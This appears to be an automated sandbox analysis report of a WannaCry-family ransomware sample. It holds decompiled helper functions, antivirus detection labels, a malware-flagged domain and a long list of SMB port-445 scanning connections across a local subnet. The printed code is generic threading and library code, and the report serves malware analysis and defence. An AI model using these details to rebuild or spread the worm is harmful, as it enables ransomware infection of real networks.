Opcode ID: fe221cb1f1ebd7538222251a67e743d79676efd4ab4d459fbc5578979eb1af3c
Instruction ID: d47b55f9d8946329b2d763cf1c5c736fe64ad30a662938a08eea1033a11e378d
Opcode Fuzzy Hash: fe221cb1f1ebd7538222251a67e743d79676efd4ab4d459fbc5578979eb1af3c
Instruction Fuzzy Hash: C411C171304213AFDB09AF349CD197F6756CB41B14724423FF902AA2C2DA388C41529E

Uniqueness

Uniqueness Score: -1.00%

Function 00411254 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
threadCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00411254() {
				void* __ecx;
				void* _t5;
				int _t8;
				void* _t13;
				void** _t20;
				void* _t23;
				void* _t24;

				_t23 = 0;
				if( *0x4335ac > 0) {
					_t20 = 0x4335b0;
					do {
						_t13 = CreateThread(0, 0x10000, E004111DD, 0x4335ac, 0, _t24 + 0x10);
						if(_t13 == 0) {
							_push(L"CreateThread failed");
							_push(0x4335ac);
							E00401000(E00406423(0x4335ac));
							E00406371(0x4335ac, 2);
						}
						 *_t20 = _t13;
						 *0x00433630 =  *((intOrPtr*)(0x433630)) + 1;
						_t8 =  *0x44f58c; // 0x0
						if(_t8 != 0) {
							_t8 = SetThreadPriority( *_t20, _t8);
						}
						_t23 = _t23 + 1;
						_t20 =  &(_t20[1]);
					} while (_t23 <  *0x4335ac);
					return _t8;
				}
				return _t5;
			}

0x00411259
0x0041125d
0x00411261
0x00411264
0x0041127e
0x00411282
0x00411284
0x00411289
0x0041129a
0x004112a6
0x004112a6
0x004112ab
0x004112ad
0x004112b3
0x004112ba
0x004112bf
0x004112bf
0x004112c5
0x004112c6
0x004112c9
0x00000000
0x004112ce
0x004112d2

APIs

CreateThread.KERNEL32 ref: 00411278
SetThreadPriority.KERNEL32(?,00000000,?,?,004112E4,-00000108,00404FE0), ref: 004112BF

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

CreateThread failed, xrefs: 00411284

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 3061c48cbf7df5314d67cb84a6f78a2ab06f9f7c5b99b3b88179035cff10f0ee
Instruction ID: 964536ca15170dd961cb9332306e5bd8003a90b1d1e662a5f33448d65f1dc838
Opcode Fuzzy Hash: 3061c48cbf7df5314d67cb84a6f78a2ab06f9f7c5b99b3b88179035cff10f0ee
Instruction Fuzzy Hash: 4B01A2753453057BD3215F55AC46BB673A9EB44766F20043FFB82E11D0DAB4A8608A2D

Uniqueness

Uniqueness Score: -1.00%

Function 0040A19D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A19D(signed short* _a4) {
				signed short _t5;
				signed int _t7;
				signed int _t10;
				signed int _t11;
				signed short* _t15;
				signed short* _t21;

				_t21 = _a4;
				if( *_t21 == 0 || _t21[1] == 0 || E0041CA29( &(_t21[2]), 0x3a) == 0) {
					_t5 =  *_t21 & 0x0000ffff;
					_t15 = _t21;
					__eflags = _t5;
					if(_t5 == 0) {
						L13:
						__eflags = 0;
						return 0;
					}
					_t7 = _t5 & 0x0000ffff;
					while(1) {
						__eflags = _t7 - 0x20;
						if(__eflags < 0) {
							goto L3;
						}
						if(__eflags == 0) {
							L9:
							_t10 = E0040A0C5(_t15[1] & 0x0000ffff);
							__eflags = _t10;
							if(_t10 != 0) {
								goto L3;
							}
							L10:
							_t15 =  &(_t15[1]);
							_t7 =  *_t15 & 0x0000ffff;
							__eflags = _t7;
							if(_t7 != 0) {
								continue;
							}
							_t11 = E0041C9E6(_t21, L"?*<>|\"");
							__eflags = _t11;
							if(_t11 != 0) {
								goto L13;
							}
							return _t11 + 1;
						}
						__eflags = _t7 - 0x2e;
						if(_t7 != 0x2e) {
							goto L10;
						}
						goto L9;
					}
					goto L3;
				} else {
					L3:
					return 0;
				}
			}

0x0040a19e
0x0040a1a6
0x0040a1c4
0x0040a1c7
0x0040a1c9
0x0040a1cc
0x0040a20b
0x0040a20b
0x00000000
0x0040a20b
0x0040a1ce
0x0040a1d1
0x0040a1d1
0x0040a1d5
0x00000000
0x00000000
0x0040a1d7
0x0040a1df
0x0040a1e4
0x0040a1e9
0x0040a1eb
0x00000000
0x00000000
0x0040a1ed
0x0040a1ee
0x0040a1ef
0x0040a1f2
0x0040a1f5
0x00000000
0x00000000
0x0040a1fd
0x0040a204
0x0040a206
0x00000000
0x00000000
0x00000000
0x0040a208
0x0040a1d9
0x0040a1dd
0x00000000
0x00000000
0x00000000
0x0040a1dd
0x00000000
0x0040a1c0
0x0040a1c0
0x00000000
0x0040a1c0

APIs

_wcschr.LIBCMT ref: 0040A1B5
_wcspbrk.LIBCMT ref: 0040A1FD

Strings

?*<>|", xrefs: 0040A1F7

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _wcschr_wcspbrk
String ID: ?*<>|"
API String ID: 3305141221-226352099
Opcode ID: 7f6a6c1d5428e83731d2b65d13748a0e82632fc7d37b167bce2bcb03fdaf0a03
Instruction ID: fc4717308da4314e5704a136f2044a521342e33b833bb001f63317f55d448289
Opcode Fuzzy Hash: 7f6a6c1d5428e83731d2b65d13748a0e82632fc7d37b167bce2bcb03fdaf0a03
Instruction Fuzzy Hash: 1DF0F42912832254DE38A6659805AB333D49F15784F60447FE8D2BA2C2EA3D8CE3C16F

Uniqueness

Uniqueness Score: -1.00%

Function 0041DEAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0041DEAB(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E0041A429(__ebx, __edx, __edi, __esi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E0041E9B4(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E0041E9B4(_t19, _t26, _t27, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E0041A402(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E0041DC43(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x0041deab
0x0041deab
0x0041deab
0x0041deab
0x0041deab
0x0041deae
0x0041deb4
0x0041dec2
0x0041dec8
0x0041ded0
0x0041dedc
0x0041dee4
0x0041deec
0x0041df00
0x0041df02
0x0041df06
0x0041df0b
0x0041df11
0x0041df13
0x0041df15
0x0041df18
0x00000000
0x0041df1f
0x0041df13
0x0041df06
0x0041df00
0x0041deec
0x0041df20

APIs

Part of subcall function 0041A429: __getptd.LIBCMT ref: 0041A42F
Part of subcall function 0041A429: __getptd.LIBCMT ref: 0041A43F

__getptd.LIBCMT ref: 0041DEBA

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DEC8

Strings

csm, xrefs: 0041DED6

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 2d55cb122b51988d1cc7e6481490fc99cbdc11bcbdbc1298bbf42470784b3229
Instruction ID: 7c6b91792d137033b66a9eec197cc920f164d7126653d302a3e0d72df4157e21
Opcode Fuzzy Hash: 2d55cb122b51988d1cc7e6481490fc99cbdc11bcbdbc1298bbf42470784b3229
Instruction Fuzzy Hash: 040162B5C013148ACF389F25D444AEEB3B6AF14315F24441FE44156791DB38DED1DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00410EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
synchronizationCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E00410EA0(void* __ecx, void* _a4) {
				long _t2;
				void* _t6;

				_t6 = __ecx;
				_t2 = WaitForSingleObject(_a4, 0xffffffff);
				if(_t2 == 0xffffffff) {
					_push(GetLastError());
					E00406423(_t6, 0x4335ac, L"\nWaitForMultipleObjects error %d, GetLastError %d", 0xffffffff);
					return E00406371(0x4335ac, 2);
				}
				return _t2;
			}

0x00410ea0
0x00410ea6
0x00410eaf
0x00410eb8
0x00410ec6
0x00000000
0x00410ed7
0x00410ed8

APIs

WaitForSingleObject.KERNEL32(?,000000FF,0041106E,?), ref: 00410EA6
GetLastError.KERNEL32(?), ref: 00410EB2

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00410EBB

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: ac3bcd71a64bb110093b5bec46156cf20680403487952e12d0601c5134127ac2
Instruction ID: 79dccacb4fa0009262a18c3e3c709d5502c54047c68cfd859e09497cac206ec9
Opcode Fuzzy Hash: ac3bcd71a64bb110093b5bec46156cf20680403487952e12d0601c5134127ac2
Instruction Fuzzy Hash: 13D0C23260402037C5013B245C05EAE36116B11331BA00722F831602F1CB6909A2429F

Uniqueness

Uniqueness Score: -1.00%

Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	URL Reputation: Label: malware
Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	URL Reputation: Label: malware

Source: C:\WINDOWS\qeriuwjhrf (copy)	ReversingLabs: Detection: 60%
Source: C:\Windows\eee.exe	ReversingLabs: Detection: 12%
Source: C:\Windows\mssecsvr.exe	Metadefender: Detection: 80%	Perma Link
Source: C:\Windows\mssecsvr.exe	ReversingLabs: Detection: 100%
Source: C:\Windows\tasksche.exe	ReversingLabs: Detection: 60%

Source: C:\Windows\eee.exe	Joe Sandbox ML: detected
Source: C:\Windows\mssecsvr.exe	Joe Sandbox ML: detected

Source: C:\Windows\mssecsvr.exe	Avira: detection malicious, Label: TR/Wanna.cxjcv
Source: C:\Windows\tasksche.exe	Avira: detection malicious, Label: TR/Wanna.cxjcv

Source: 8.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.gafen
Source: 6.0.mssecsvr.exe.400000.6.unpack	Avira: Label: TR/Wanna.cxjcv
Source: 8.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.cxjcv
Source: 6.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.cxjcv
Source: 4.0.mssecsvr.exe.400000.2.unpack	Avira: Label: TR/Wanna.cxjcv
Source: 6.0.mssecsvr.exe.400000.4.unpack	Avira: Label: TR/Wanna.cxjcv
Source: 4.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.cxjcv
Source: 6.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.cxjcv
Source: 4.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Wanna.cxjcv
Source: 4.0.mssecsvr.exe.400000.4.unpack	Avira: Label: TR/Wanna.cxjcv
Source: 4.0.mssecsvr.exe.400000.6.unpack	Avira: Label: TR/Wanna.cxjcv
Source: 6.0.mssecsvr.exe.400000.2.unpack	Avira: Label: TR/Wanna.cxjcv

Source: global traffic	TCP traffic: 192.168.2.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.247:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.248:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.245:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.246:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.249:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.240:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.243:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.244:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.241:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.242:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.250:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.251:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.254:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.252:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.253:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.225:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.226:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.223:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.224:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.229:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.227:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.228:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.221:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.222:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.220:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.236:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.237:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.234:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.235:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.238:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.239:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.232:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.233:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.230:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.231:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.218:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.219:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.217:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.180:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.181:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.184:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.185:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.182:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.183:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.188:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.189:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.186:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.187:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.191:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.192:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.190:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.195:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.196:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.193:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.194:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.199:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.197:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.198:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.168:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
